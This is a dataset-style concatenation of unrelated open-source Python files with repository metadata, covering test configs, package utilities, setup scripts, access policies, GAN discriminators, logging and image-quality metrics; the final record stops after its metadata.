6ac4ca9b00a8492410dc6166ad36ac8d64fdcffc | 2,337 | py | Python | rabbitmq/tests/common.py | jfmyers9/integrations-core | 8793c784f1d5b2c9541b2dd4214dd91584793ced | [
"BSD-3-Clause"
] | 1 | 2021-03-24T13:00:14.000Z | 2021-03-24T13:00:14.000Z | rabbitmq/tests/common.py | jfmyers9/integrations-core | 8793c784f1d5b2c9541b2dd4214dd91584793ced | [
"BSD-3-Clause"
] | null | null | null | rabbitmq/tests/common.py | jfmyers9/integrations-core | 8793c784f1d5b2c9541b2dd4214dd91584793ced | [
"BSD-3-Clause"
] | null | null | null | # (C) Datadog, Inc. 2018-present
# All rights reserved
# Licensed under a 3-clause BSD style license (see LICENSE)
import os
from packaging import version
from datadog_checks.base.utils.common import get_docker_hostname
HERE = os.path.dirname(os.path.abspath(__file__))
ROOT = os.path.dirname(os.path.dirname(HERE))
RABBITMQ_VERSION_RAW = os.environ['RABBITMQ_VERSION']
RABBITMQ_VERSION = version.parse(RABBITMQ_VERSION_RAW)
CHECK_NAME = 'rabbitmq'
HOST = get_docker_hostname()
PORT = 15672
URL = 'http://{}:{}/api/'.format(HOST, PORT)
CONFIG = {
'rabbitmq_api_url': URL,
'rabbitmq_user': 'guest',
'rabbitmq_pass': 'guest',
'queues': ['test1'],
'tags': ["tag1:1", "tag2"],
'exchanges': ['test1'],
}
CONFIG_NO_NODES = {
'rabbitmq_api_url': URL,
'rabbitmq_user': 'guest',
'rabbitmq_pass': 'guest',
'queues': ['test1'],
'tags': ["tag1:1", "tag2"],
'exchanges': ['test1'],
'collect_node_metrics': False,
}
CONFIG_REGEX = {
'rabbitmq_api_url': URL,
'rabbitmq_user': 'guest',
'rabbitmq_pass': 'guest',
'queues_regexes': [r'test\d+'],
'exchanges_regexes': [r'test\d+'],
}
CONFIG_VHOSTS = {
'rabbitmq_api_url': URL,
'rabbitmq_user': 'guest',
'rabbitmq_pass': 'guest',
'vhosts': ['/', 'myvhost'],
}
CONFIG_WITH_FAMILY = {
'rabbitmq_api_url': URL,
'rabbitmq_user': 'guest',
'rabbitmq_pass': 'guest',
'tag_families': True,
'queues_regexes': [r'(test)\d+'],
'exchanges_regexes': [r'(test)\d+'],
}
CONFIG_DEFAULT_VHOSTS = {
'rabbitmq_api_url': URL,
'rabbitmq_user': 'guest',
'rabbitmq_pass': 'guest',
'vhosts': ['/', 'test'],
}
CONFIG_TEST_VHOSTS = {
'rabbitmq_api_url': URL,
'rabbitmq_user': 'guest',
'rabbitmq_pass': 'guest',
'vhosts': ['test', 'test2'],
}
EXCHANGE_MESSAGE_STATS = {
'ack': 1.0,
'ack_details': {'rate': 1.0},
'confirm': 1.0,
'confirm_details': {'rate': 1.0},
'deliver_get': 1.0,
'deliver_get_details': {'rate': 1.0},
'publish': 1.0,
'publish_details': {'rate': 1.0},
'publish_in': 1.0,
'publish_in_details': {'rate': 1.0},
'publish_out': 1.0,
'publish_out_details': {'rate': 1.0},
'return_unroutable': 1.0,
'return_unroutable_details': {'rate': 1.0},
'redeliver': 1.0,
'redeliver_details': {'rate': 1.0},
}
| 23.606061 | 64 | 0.618314 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,201 | 0.513907 |
6ac4e4fc48c67f3dafab5b728a225aa95eec15e2 | 7,668 | py | Python | st2common/st2common/util/pack.py | timgates42/st2 | 0e8ae756f30ffe2e017c64bff67830abdee7f7c9 | [
"Apache-2.0"
] | null | null | null | st2common/st2common/util/pack.py | timgates42/st2 | 0e8ae756f30ffe2e017c64bff67830abdee7f7c9 | [
"Apache-2.0"
] | 15 | 2021-02-11T22:58:54.000Z | 2021-08-06T18:03:47.000Z | st2common/st2common/util/pack.py | timgates42/st2 | 0e8ae756f30ffe2e017c64bff67830abdee7f7c9 | [
"Apache-2.0"
] | null | null | null | # Copyright 2020 The StackStorm Authors.
# Copyright 2019 Extreme Networks, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
from __future__ import absolute_import
import os
import re
import collections
import six
from st2common.util import schema as util_schema
from st2common.constants.pack import MANIFEST_FILE_NAME
from st2common.constants.pack import PACK_REF_WHITELIST_REGEX
from st2common.content.loader import MetaLoader
from st2common.persistence.pack import Pack
from st2common.exceptions.apivalidation import ValueValidationException
from st2common.util import jinja as jinja_utils
__all__ = [
'get_pack_ref_from_metadata',
'get_pack_metadata',
'get_pack_warnings',
'get_pack_common_libs_path_for_pack_ref',
'get_pack_common_libs_path_for_pack_db',
'validate_config_against_schema',
'normalize_pack_version'
]
# Common format for python 2.7 warning
if six.PY2:
PACK_PYTHON2_WARNING = "DEPRECATION WARNING: Pack %s only supports Python 2.x. " \
"Python 2 support will be dropped in future releases. " \
"Please consider updating your packs to work with Python 3.x"
else:
PACK_PYTHON2_WARNING = "DEPRECATION WARNING: Pack %s only supports Python 2.x. " \
"Python 2 support has been removed since st2 v3.4.0. " \
"Please update your packs to work with Python 3.x"
def get_pack_ref_from_metadata(metadata, pack_directory_name=None):
"""
Utility function which retrieves pack "ref" attribute from the pack metadata file.
If this attribute is not provided, an attempt is made to infer "ref" from the "name" attribute.
:rtype: ``str``
"""
pack_ref = None
# The rules for the pack ref are as follows:
# 1. If ref attribute is available, we used that
# 2. If pack_directory_name is available we use that (this only applies to packs
# which are in sub-directories)
# 2. If attribute is not available, but pack name is and pack name meets the valid name
# criteria, we use that
if metadata.get('ref', None):
pack_ref = metadata['ref']
elif pack_directory_name and re.match(PACK_REF_WHITELIST_REGEX, pack_directory_name):
pack_ref = pack_directory_name
else:
if re.match(PACK_REF_WHITELIST_REGEX, metadata['name']):
pack_ref = metadata['name']
else:
msg = ('Pack name "%s" contains invalid characters and "ref" attribute is not '
'available. You either need to add "ref" attribute which contains only word '
'characters to the pack metadata file or update name attribute to contain only'
'word characters.')
raise ValueError(msg % (metadata['name']))
return pack_ref
def get_pack_metadata(pack_dir):
"""
Return parsed metadata for a particular pack directory.
:rtype: ``dict``
"""
manifest_path = os.path.join(pack_dir, MANIFEST_FILE_NAME)
if not os.path.isfile(manifest_path):
raise ValueError('Pack "%s" is missing %s file' % (pack_dir, MANIFEST_FILE_NAME))
meta_loader = MetaLoader()
content = meta_loader.load(manifest_path)
if not content:
raise ValueError('Pack "%s" metadata file is empty' % (pack_dir))
return content
def get_pack_warnings(pack_metadata):
"""
Return warning string if pack metadata indicates only python 2 is supported
:rtype: ``str``
"""
warning = None
versions = pack_metadata.get('python_versions', None)
pack_name = pack_metadata.get('name', None)
if versions and set(versions) == set(['2']):
warning = PACK_PYTHON2_WARNING % pack_name
return warning
def validate_config_against_schema(config_schema, config_object, config_path,
pack_name=None):
"""
Validate provided config dictionary against the provided config schema
dictionary.
"""
# NOTE: Lazy improt to avoid performance overhead of importing this module when it's not used
import jsonschema
pack_name = pack_name or 'unknown'
schema = util_schema.get_schema_for_resource_parameters(parameters_schema=config_schema,
allow_additional_properties=True)
instance = config_object
try:
cleaned = util_schema.validate(instance=instance, schema=schema,
cls=util_schema.CustomValidator, use_default=True,
allow_default_none=True)
for key in cleaned:
if (jinja_utils.is_jinja_expression(value=cleaned.get(key)) and
"decrypt_kv" in cleaned.get(key) and config_schema.get(key).get('secret')):
raise ValueValidationException('Values specified as "secret: True" in config '
'schema are automatically decrypted by default. Use '
'of "decrypt_kv" jinja filter is not allowed for '
'such values. Please check the specified values in '
'the config or the default values in the schema.')
except jsonschema.ValidationError as e:
attribute = getattr(e, 'path', [])
if isinstance(attribute, (tuple, list, collections.Iterable)):
attribute = [str(item) for item in attribute]
attribute = '.'.join(attribute)
else:
attribute = str(attribute)
msg = ('Failed validating attribute "%s" in config for pack "%s" (%s): %s' %
(attribute, pack_name, config_path, six.text_type(e)))
raise jsonschema.ValidationError(msg)
return cleaned
def get_pack_common_libs_path_for_pack_ref(pack_ref):
pack_db = Pack.get_by_ref(pack_ref)
pack_common_libs_path = get_pack_common_libs_path_for_pack_db(pack_db=pack_db)
return pack_common_libs_path
def get_pack_common_libs_path_for_pack_db(pack_db):
"""
Return the pack's common lib path. This is the path where common code for sensors
and actions are placed.
For example, if the pack is at /opt/stackstorm/packs/my_pack, you can place
common library code for actions and sensors in /opt/stackstorm/packs/my_pack/lib/.
This common library code is only available for python sensors and actions. The lib
structure also needs to follow a python convention with a __init__.py file.
:param pack_db: Pack DB model
:type pack_db: :class:`PackDB`
:rtype: ``str``
"""
pack_dir = getattr(pack_db, 'path', None)
if not pack_dir:
return None
libs_path = os.path.join(pack_dir, 'lib')
return libs_path
def normalize_pack_version(version):
"""
Normalize old, pre StackStorm v2.1 non valid semver version string (e.g. 0.2) to a valid
semver version string (0.2.0).
:rtype: ``str``
"""
version = str(version)
version_seperator_count = version.count('.')
if version_seperator_count == 1:
version = version + '.0'
return version
| 36.514286 | 100 | 0.666275 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 3,568 | 0.46531 |
6acd5e71b7f337a2cb3ca947d7cf6d05f0a0b474 | 851 | py | Python | setup.py | chearon/macpack | 1cf6ce453dd33a811343e4bb6ee5575bc9fe919d | [
"MIT"
] | 24 | 2016-11-14T14:09:57.000Z | 2022-01-26T02:22:45.000Z | setup.py | najiji/macpack | 20b518e9bc0f4e58d47c5416a686a4b246a3764d | [
"MIT"
] | 5 | 2016-11-14T14:09:53.000Z | 2019-04-18T15:49:14.000Z | setup.py | najiji/macpack | 20b518e9bc0f4e58d47c5416a686a4b246a3764d | [
"MIT"
] | 3 | 2018-01-27T15:38:46.000Z | 2019-04-09T16:21:23.000Z | import setuptools
import os
try:
import pypandoc
description = pypandoc.convert('README.md', 'rst') if os.path.exists('README.md') else ''
except ImportError:
description = ''
setuptools.setup(
name = 'macpack',
packages = setuptools.find_packages(),
version = '1.0.3',
description = 'Makes a macOS binary redistributable by searching the dependency tree and copying/patching non-system libraries.',
long_description = description,
author = 'Caleb Hearon',
author_email = 'caleb@chearon.net',
url = 'https://github.com/chearon/macpack',
download_url = 'https://github.com/chearon/macpack/tarball/v1.0.3',
keywords = ['macos', 'bundle', 'package', 'redistribute', 'redistributable', 'install_name_tool', 'otool', 'mach'],
classifiers = [],
entry_points = {
'console_scripts': ['macpack=macpack.patcher:main'],
}
)
| 32.730769 | 131 | 0.706228 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 415 | 0.487662 |
6ad40da9c9320f7c8df4a83d064f6172f24c03ec | 2,268 | py | Python | karbor-1.3.0/karbor/policies/protectables.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | null | null | null | karbor-1.3.0/karbor/policies/protectables.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | 5 | 2019-08-14T06:46:03.000Z | 2021-12-13T20:01:25.000Z | karbor-1.3.0/karbor/policies/protectables.py | scottwedge/OpenStack-Stein | 7077d1f602031dace92916f14e36b124f474de15 | [
"Apache-2.0"
] | 2 | 2020-03-15T01:24:15.000Z | 2020-07-22T20:34:26.000Z | # Copyright (c) 2017 Huawei Technologies Co., Ltd.
# All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS, WITHOUT
# WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the
# License for the specific language governing permissions and limitations
# under the License.
from oslo_policy import policy
from karbor.policies import base
GET_POLICY = 'protectable:get'
GET_ALL_POLICY = 'protectable:get_all'
INSTANCES_GET_POLICY = 'protectable:instance_get'
INSTANCES_GET_ALL_POLICY = 'protectable:instance_get_all'
protectables_policies = [
policy.DocumentedRuleDefault(
name=GET_POLICY,
check_str=base.RULE_ADMIN_OR_OWNER,
description='Show a protectable type.',
operations=[
{
'method': 'GET',
'path': '/protectables/{protectable_type}'
}
]),
policy.DocumentedRuleDefault(
name=GET_ALL_POLICY,
check_str=base.RULE_ADMIN_OR_OWNER,
description='List protectable types.',
operations=[
{
'method': 'GET',
'path': '/protectables'
}
]),
policy.DocumentedRuleDefault(
name=INSTANCES_GET_POLICY,
check_str=base.RULE_ADMIN_OR_OWNER,
description='Show a protectable instance.',
operations=[
{
'method': 'GET',
'path': '/protectables/{protectable_type}/'
'instances/{resource_id}'
}
]),
policy.DocumentedRuleDefault(
name=INSTANCES_GET_ALL_POLICY,
check_str=base.RULE_ADMIN_OR_OWNER,
description='List protectable instances.',
operations=[
{
'method': 'GET',
'path': '/protectables/{protectable_type}/instances'
}
]),
]
def list_rules():
return protectables_policies
| 31.068493 | 78 | 0.619489 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,067 | 0.470459 |
6ae26b063b0fbd07c2ce06161f218674d84af1d4 | 1,119 | py | Python | ice/consoles.py | reavessm/Ice | e78d046abfd6006b1a81d1cbdb516b7c3e141ac9 | [
"MIT"
] | 578 | 2015-01-02T12:43:52.000Z | 2022-03-27T23:45:32.000Z | ice/consoles.py | reavessm/Ice | e78d046abfd6006b1a81d1cbdb516b7c3e141ac9 | [
"MIT"
] | 271 | 2015-01-05T01:56:38.000Z | 2021-08-14T02:51:24.000Z | ice/consoles.py | reavessm/Ice | e78d046abfd6006b1a81d1cbdb516b7c3e141ac9 | [
"MIT"
] | 156 | 2015-01-07T15:43:20.000Z | 2021-12-11T19:10:44.000Z | # encoding: utf-8
import os
import roms
def console_roms_directory(configuration, console):
"""
If the user has specified a custom ROMs directory in consoles.txt then
return that.
Otherwise, append the shortname of the console to the default ROMs
directory given by config.txt.
"""
if console.custom_roms_directory:
return console.custom_roms_directory
return os.path.join(roms.roms_directory(configuration), console.shortname)
def path_is_rom(console, path):
"""
This function determines if a given path is actually a valid ROM file.
If a list of extensions is supplied for this console, we check if the path has a valid extension
If no extensions are defined for this console, we just accept any file
"""
if console.extensions == "":
return True
# Normalize the extension based on the things we validly ignore.
# Aka capitalization, whitespace, and leading dots
normalize = lambda ext: ext.lower().strip().lstrip('.')
(name, ext) = os.path.splitext(path)
valid_extensions = console.extensions.split(',')
return normalize(ext) in map(normalize, valid_extensions)
| 31.971429 | 98 | 0.747096 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 593 | 0.529937 |
6aea2be020c7e8aa245e0f3059dcd2d6daefd1b7 | 2,865 | py | Python | advent/model/discriminator.py | ChristopheGraveline064/ADVENT | fc0ecd099862ed68979b2197423f1bb34df09c74 | [
"Apache-2.0"
] | 1 | 2021-01-17T06:02:10.000Z | 2021-01-17T06:02:10.000Z | advent/model/discriminator.py | ChristopheGraveline064/ADVENT | fc0ecd099862ed68979b2197423f1bb34df09c74 | [
"Apache-2.0"
] | 2 | 2021-01-17T06:21:29.000Z | 2021-01-17T20:19:50.000Z | advent/model/discriminator.py | ChristopheGraveline064/ADVENT | fc0ecd099862ed68979b2197423f1bb34df09c74 | [
"Apache-2.0"
] | null | null | null | from torch import nn
def get_fc_discriminator(num_classes, ndf=64):
return nn.Sequential(
nn.Conv2d(num_classes, ndf, kernel_size=4, stride=2, padding=1),
nn.LeakyReLU(negative_slope=0.2, inplace=True),
nn.Conv2d(ndf, ndf * 2, kernel_size=4, stride=2, padding=1),
nn.LeakyReLU(negative_slope=0.2, inplace=True),
nn.Conv2d(ndf * 2, ndf * 4, kernel_size=4, stride=2, padding=1),
nn.LeakyReLU(negative_slope=0.2, inplace=True),
nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1),
nn.LeakyReLU(negative_slope=0.2, inplace=True),
nn.Conv2d(ndf * 8, 1, kernel_size=4, stride=2, padding=1),
)
# def get_fe_discriminator(num_classes, ndf=64): # 256-128-64-32-16
# return nn.Sequential(
# nn.Conv2d(num_classes, ndf * 4, kernel_size=4, stride=2, padding=1),
# nn.LeakyReLU(negative_slope=0.2, inplace=True),
# nn.Conv2d(ndf * 4, ndf * 2, kernel_size=4, stride=2, padding=1),
# nn.LeakyReLU(negative_slope=0.2, inplace=True),
# nn.Conv2d(ndf * 2, ndf, kernel_size=2, stride=2, padding=0),
# nn.LeakyReLU(negative_slope=0.2, inplace=True),
# # nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1),
# # nn.LeakyReLU(negative_slope=0.2, inplace=True),
# nn.Conv2d(ndf, 1, kernel_size=2, stride=2, padding=0),
# )
# def get_fe_discriminator(num_classes, ndf=64):
# return nn.Sequential(
# nn.Conv2d(num_classes, ndf, kernel_size=4, stride=2, padding=1),
# nn.LeakyReLU(negative_slope=0.2, inplace=True),
# nn.Conv2d(ndf, ndf * 2, kernel_size=4, stride=2, padding=1),
# nn.LeakyReLU(negative_slope=0.2, inplace=True),
# nn.Conv2d(ndf * 2, ndf * 4, kernel_size=4, stride=2, padding=1),
# nn.LeakyReLU(negative_slope=0.2, inplace=True),
# # nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1),
# # nn.LeakyReLU(negative_slope=0.2, inplace=True),
# nn.Conv2d(ndf * 4, 1, kernel_size=1, stride=1, padding=0),
# )
def get_fe_discriminator(num_classes, ndf=64): # H/8,H/8,(1024 -> 256 -> 128 -> 64 -> 1)
return nn.Sequential(
nn.Conv2d(num_classes, ndf * 4, kernel_size=1, stride=1, padding=0),
# x=self.dropout(x)
nn.LeakyReLU(negative_slope=0.2, inplace=True),
nn.Conv2d(ndf * 4, ndf * 2, kernel_size=1, stride=1, padding=0),
# x=self.dropout(x)
nn.LeakyReLU(negative_slope=0.2, inplace=True),
nn.Conv2d(ndf * 2, ndf, kernel_size=1, stride=1, padding=0),
# x=self.dropout(x)
nn.LeakyReLU(negative_slope=0.2, inplace=True),
# nn.Conv2d(ndf * 4, ndf * 8, kernel_size=4, stride=2, padding=1),
# nn.LeakyReLU(negative_slope=0.2, inplace=True),
nn.Conv2d(ndf, 1, kernel_size=1, stride=1, padding=0),
) | 49.396552 | 90 | 0.624433 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,581 | 0.551832 |
6aea82e968ce364fdac8932cf3b83554a12ac797 | 2,947 | py | Python | setup.py | jasperhyp/Chemprop4SE | c02b604b63b6766464db829fea0b306c67302e82 | [
"MIT"
] | 1 | 2021-12-15T05:18:07.000Z | 2021-12-15T05:18:07.000Z | setup.py | jasperhyp/chemprop4SE | c02b604b63b6766464db829fea0b306c67302e82 | [
"MIT"
] | null | null | null | setup.py | jasperhyp/chemprop4SE | c02b604b63b6766464db829fea0b306c67302e82 | [
"MIT"
] | null | null | null | import os
from setuptools import find_packages, setup
# Load version number
__version__ = None
src_dir = os.path.abspath(os.path.dirname(__file__))
version_file = os.path.join(src_dir, 'chemprop', '_version.py')
with open(version_file, encoding='utf-8') as fd:
exec(fd.read())
# Load README
with open('README.md', encoding='utf-8') as f:
long_description = f.read()
setup(
name='chemprop',
version=__version__,
author='Kyle Swanson, Kevin Yang, Wengong Jin, Lior Hirschfeld, Allison Tam',
author_email='chemprop@mit.edu',
description='Molecular Property Prediction with Message Passing Neural Networks',
long_description=long_description,
long_description_content_type='text/markdown',
url='https://github.com/chemprop/chemprop',
download_url=f'https://github.com/chemprop/chemprop/v_{__version__}.tar.gz',
project_urls={
'Documentation': 'https://chemprop.readthedocs.io/en/latest/',
'Source': 'https://github.com/chemprop/chemprop',
'PyPi': 'https://pypi.org/project/chemprop/',
'Demo': 'http://chemprop.csail.mit.edu/',
},
license='MIT',
packages=find_packages(),
package_data={'chemprop': ['py.typed']},
entry_points={
'console_scripts': [
'chemprop_train=chemprop.train:chemprop_train',
'chemprop_predict=chemprop.train:chemprop_predict',
'chemprop_fingerprint=chemprop.train:chemprop_fingerprint',
'chemprop_hyperopt=chemprop.hyperparameter_optimization:chemprop_hyperopt',
'chemprop_interpret=chemprop.interpret:chemprop_interpret',
'chemprop_web=chemprop.web.run:chemprop_web',
'sklearn_train=chemprop.sklearn_train:sklearn_train',
'sklearn_predict=chemprop.sklearn_predict:sklearn_predict',
]
},
install_requires=[
'flask>=1.1.2',
'hyperopt>=0.2.3',
'matplotlib>=3.1.3',
'numpy>=1.18.1',
'pandas>=1.0.3',
'pandas-flavor>=0.2.0',
'scikit-learn>=0.22.2.post1',
'scipy>=1.4.1',
'sphinx>=3.1.2',
'tensorboardX>=2.0',
'torch>=1.5.1',
'tqdm>=4.45.0',
'typed-argument-parser>=1.6.1'
],
extras_require={
'test': [
'pytest>=6.2.2',
'parameterized>=0.8.1'
]
},
python_requires='>=3.6',
classifiers=[
'Programming Language :: Python :: 3',
'Programming Language :: Python :: 3.6',
'Programming Language :: Python :: 3.7',
'Programming Language :: Python :: 3.8',
'License :: OSI Approved :: MIT License',
'Operating System :: OS Independent'
],
keywords=[
'chemistry',
'machine learning',
'property prediction',
'message passing neural network',
'graph neural network'
]
)
| 33.873563 | 88 | 0.599932 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,651 | 0.560231 |
6aed847e420c882fffa9edfe88238102ee06ac09 | 2,749 | py | Python | rqalpha/utils/logger.py | HaidongHe/rqalpha | bb824178425909e051c456f6062a6c5bdc816421 | [
"Apache-2.0"
] | 1 | 2020-11-10T05:44:39.000Z | 2020-11-10T05:44:39.000Z | rqalpha/utils/logger.py | HaidongHe/rqalpha | bb824178425909e051c456f6062a6c5bdc816421 | [
"Apache-2.0"
] | null | null | null | rqalpha/utils/logger.py | HaidongHe/rqalpha | bb824178425909e051c456f6062a6c5bdc816421 | [
"Apache-2.0"
] | 1 | 2020-03-05T05:06:45.000Z | 2020-03-05T05:06:45.000Z | # -*- coding: utf-8 -*-
# ็ๆๆๆ 2019 ๆทฑๅณ็ฑณ็ญ็งๆๆ้ๅ
ฌๅธ๏ผไธ็งฐโ็ฑณ็ญ็งๆโ๏ผ
#
# ้ค้้ตๅฎๅฝๅ่ฎธๅฏ๏ผๅฆๅไธๅพไฝฟ็จๆฌ่ฝฏไปถใ
#
# * ้ๅไธ็จ้๏ผ้ๅไธ็จ้ๆไธชไบบๅบไบ้ๅไธ็ฎ็ไฝฟ็จๆฌ่ฝฏไปถ๏ผๆ่
้ซๆ กใ็ ็ฉถๆ็ญ้่ฅๅฉๆบๆๅบไบๆ่ฒใ็ง็ ็ญ็ฎ็ไฝฟ็จๆฌ่ฝฏไปถ๏ผ๏ผ
# ้ตๅฎ Apache License 2.0๏ผไธ็งฐโApache 2.0 ่ฎธๅฏโ๏ผ๏ผๆจๅฏไปฅๅจไปฅไธไฝ็ฝฎ่ทๅพ Apache 2.0 ่ฎธๅฏ็ๅฏๆฌ๏ผhttp://www.apache.org/licenses/LICENSE-2.0ใ
# ้ค้ๆณๅพๆ่ฆๆฑๆไปฅไนฆ้ขๅฝขๅผ่พพๆๅ่ฎฎ๏ผๅฆๅๆฌ่ฝฏไปถๅๅๆถ้ไฟๆๅฝๅ่ฎธๅฏโๅๆ ทโไธๅ๏ผไธไธๅพ้ๅ ไปปไฝๆกไปถใ
#
# * ๅไธ็จ้๏ผๅไธ็จ้ๆไธชไบบๅบไบไปปไฝๅไธ็ฎ็ไฝฟ็จๆฌ่ฝฏไปถ๏ผๆ่
ๆณไบบๆๅ
ถไป็ป็ปๅบไบไปปไฝ็ฎ็ไฝฟ็จๆฌ่ฝฏไปถ๏ผ๏ผ
# ๆช็ป็ฑณ็ญ็งๆๆๆ๏ผไปปไฝไธชไบบไธๅพๅบไบไปปไฝๅไธ็ฎ็ไฝฟ็จๆฌ่ฝฏไปถ๏ผๅ
ๆฌไฝไธ้ไบๅ็ฌฌไธๆนๆไพใ้ๅฎใๅบ็งใๅบๅใ่ฝฌ่ฎฉๆฌ่ฝฏไปถใๆฌ่ฝฏไปถ็่ก็ไบงๅใๅผ็จๆๅ้ดไบๆฌ่ฝฏไปถๅ่ฝๆๆบไปฃ็ ็ไบงๅๆๆๅก๏ผ๏ผไปปไฝๆณไบบๆๅ
ถไป็ป็ปไธๅพๅบไบไปปไฝ็ฎ็ไฝฟ็จๆฌ่ฝฏไปถ๏ผๅฆๅ็ฑณ็ญ็งๆๆๆ่ฟฝ็ฉถ็ธๅบ็็ฅ่ฏไบงๆไพตๆ่ดฃไปปใ
# ๅจๆญคๅๆไธ๏ผๅฏนๆฌ่ฝฏไปถ็ไฝฟ็จๅๆ ท้่ฆ้ตๅฎ Apache 2.0 ่ฎธๅฏ๏ผApache 2.0 ่ฎธๅฏไธๆฌ่ฎธๅฏๅฒ็ชไนๅค๏ผไปฅๆฌ่ฎธๅฏไธบๅใ
# ่ฏฆ็ป็ๆๆๆต็จ๏ผ่ฏท่็ณป public@ricequant.com ่ทๅใ
from datetime import datetime
import logbook
from logbook import Logger, StderrHandler
from rqalpha.utils.py2 import to_utf8
logbook.set_datetime_format("local")
# patch warn
logbook.base._level_names[logbook.base.WARNING] = 'WARN'
__all__ = [
"user_log",
"system_log",
"user_system_log",
]
DATETIME_FORMAT = "%Y-%m-%d %H:%M:%S.%f"
def user_std_handler_log_formatter(record, handler):
from rqalpha.environment import Environment
try:
dt = Environment.get_instance().calendar_dt.strftime(DATETIME_FORMAT)
except Exception:
dt = datetime.now().strftime(DATETIME_FORMAT)
log = "{dt} {level} {msg}".format(
dt=dt,
level=record.level_name,
msg=to_utf8(record.message),
)
return log
user_std_handler = StderrHandler(bubble=True)
user_std_handler.formatter = user_std_handler_log_formatter
def formatter_builder(tag):
def formatter(record, handler):
log = "[{formatter_tag}] [{time}] {level}: {msg}".format(
formatter_tag=tag,
level=record.level_name,
msg=to_utf8(record.message),
time=record.time,
)
if record.formatted_exception:
log += "\n" + record.formatted_exception
return log
return formatter
# loggers
# ็จๆทไปฃ็ loggerๆฅๅฟ
user_log = Logger("user_log")
# ็ป็จๆท็็็ณป็ปๆฅๅฟ
user_system_log = Logger("user_system_log")
# ็จไบ็จๆทๅผๅธธ็่ฏฆ็ปๆฅๅฟๆๅฐ
user_detail_log = Logger("user_detail_log")
# user_detail_log.handlers.append(StderrHandler(bubble=True))
# ็ณป็ปๆฅๅฟ
system_log = Logger("system_log")
basic_system_log = Logger("basic_system_log")
# ๆ ๅ่พๅบๆฅๅฟ
std_log = Logger("std_log")
def init_logger():
system_log.handlers = [StderrHandler(bubble=True)]
basic_system_log.handlers = [StderrHandler(bubble=True)]
std_log.handlers = [StderrHandler(bubble=True)]
user_log.handlers = []
user_system_log.handlers = []
def user_print(*args, **kwargs):
sep = kwargs.get("sep", " ")
end = kwargs.get("end", "")
message = sep.join(map(str, args)) + end
user_log.info(message)
init_logger()
| 25.220183 | 144 | 0.694434 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,927 | 0.527223 |
0a73919f13735ea63c30a1b71cb346f2f001cba6 | 2,096 | py | Python | metrics.py | AndreasLH/Image-Colourization | b41182354446feeb80000a84e5db9100b30e9d81 | [
"MIT"
] | 1 | 2021-11-01T09:53:34.000Z | 2021-11-01T09:53:34.000Z | metrics.py | AndreasLH/Image-Colourization | b41182354446feeb80000a84e5db9100b30e9d81 | [
"MIT"
] | null | null | null | metrics.py | AndreasLH/Image-Colourization | b41182354446feeb80000a84e5db9100b30e9d81 | [
"MIT"
] | null | null | null | from math import log10, sqrt
import cv2
import numpy as np
def PSNR(original, compressed):
'''
Calculates the Peak signal to noise ratio between a ground truth image and predicted image.
see https://www.geeksforgeeks.org/python-peak-signal-to-noise-ratio-psnr/
for reference
Parameters
----------
true image (cv2 image)
predicted image (cv2 image)
Returns
-------
PSNR score
'''
mse = np.mean((original - compressed) ** 2)
if(mse == 0): # MSE is zero means no noise is present in the signal .
# Therefore PSNR have no importance.
return 100
max_pixel = 255.0
psnr = 20 * log10(max_pixel / sqrt(mse))
return psnr
def colourfulnessMetric(img):
"""
Created on Mon Nov 15 10:55:16 2021
@author: Yucheng
Parameters
----------
img : cv2 RGB image
Returns
-------
M : colourness metric
-----------------------------
|not colourful | 0 |
|slightly colorful | 15 |
|moderately colourful | 33 |
|averagely colourful | 45 |
|quite colourful | 59 |
|highly colourful | 82 |
|extremely colourful | 109 |
-----------------------------
"""
# Get RGB components
R,G,B = cv2.split(img.astype("float"))
# colourfulness metric from Hasler et al., section 7
rg = R - G
yb = (1/2) * (R+G) - B
sigma_rgyb = np.sqrt(np.var(rg) + np.var(yb))
mu_rgyb = np.sqrt(np.mean(rg)**2 + np.mean(yb)**2)
M = sigma_rgyb + 0.3 * mu_rgyb
return M
def main():
import matplotlib.pyplot as plt
original = cv2.imread("test_imgs/original_image.png")
compressed = cv2.imread("test_imgs/compressed_image1.png", 1)
value = PSNR(original, compressed)
print(f"PSNR value is {value} dB")
img2 = cv2.imread("rainbow.jpg") # opens as BGR
img2 = cv2.cvtColor(img2, cv2.COLOR_BGR2RGB)
plt.imshow(img2[:,:,:])
plt.show()
M = colourfulnessMetric(img2)
print(M)
if __name__ == "__main__":
main()
| 24.372093 | 95 | 0.564885 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1,148 | 0.54771 |
0a7533a2a833e21052e44904ba80f9df53fd03e4 | 4,560 | py | Python | scripts/list-all-test-suites-for-ci.py | uc-cdis/gen3-qa | 6634678b17cb5dd86533667c22037b1e2ddeb0b8 | [
"Apache-2.0"
